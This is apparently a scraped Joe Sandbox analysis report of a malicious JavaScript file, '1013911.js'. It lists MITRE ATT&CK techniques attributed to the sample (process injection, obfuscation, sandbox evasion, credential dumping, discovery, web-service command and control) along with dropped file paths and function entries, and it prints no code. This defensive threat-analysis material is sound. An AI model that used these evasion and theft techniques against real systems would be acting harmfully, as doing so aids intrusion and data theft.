Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1013911.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

Networking

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\69SP6[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\4789071F

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1koidkl2.tl5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ideypu5c.nym.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1nqemrd.kn2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u13dcyzd.mpy.psm1

C:\Users\user\AppData\Local\Temp\ostaxa.js

Static File Info

General

File Icon

Windows Analysis Report
1013911.js

Function 02D4F6B2 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 253
COMMON

Function 02D4F9BE Relevance: 3.1, APIs: 2, Instructions: 93
nativethreadCOMMON

Function 0000023761C22761 Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 02D4F74D Relevance: 1.7, APIs: 1, Instructions: 156
COMMON

Function 0000023761C234B7 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Function 0000023761C2B461 Relevance: 1.6, APIs: 1, Instructions: 70
networkCOMMON

Function 0000023761C2B3B4 Relevance: 1.6, APIs: 1, Instructions: 69
networkCOMMON

Function 02D4F7E7 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 0000023761C2B270 Relevance: 1.6, APIs: 1, Instructions: 65
networkCOMMON

Function 02D4F808 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 0000023761C2287E Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre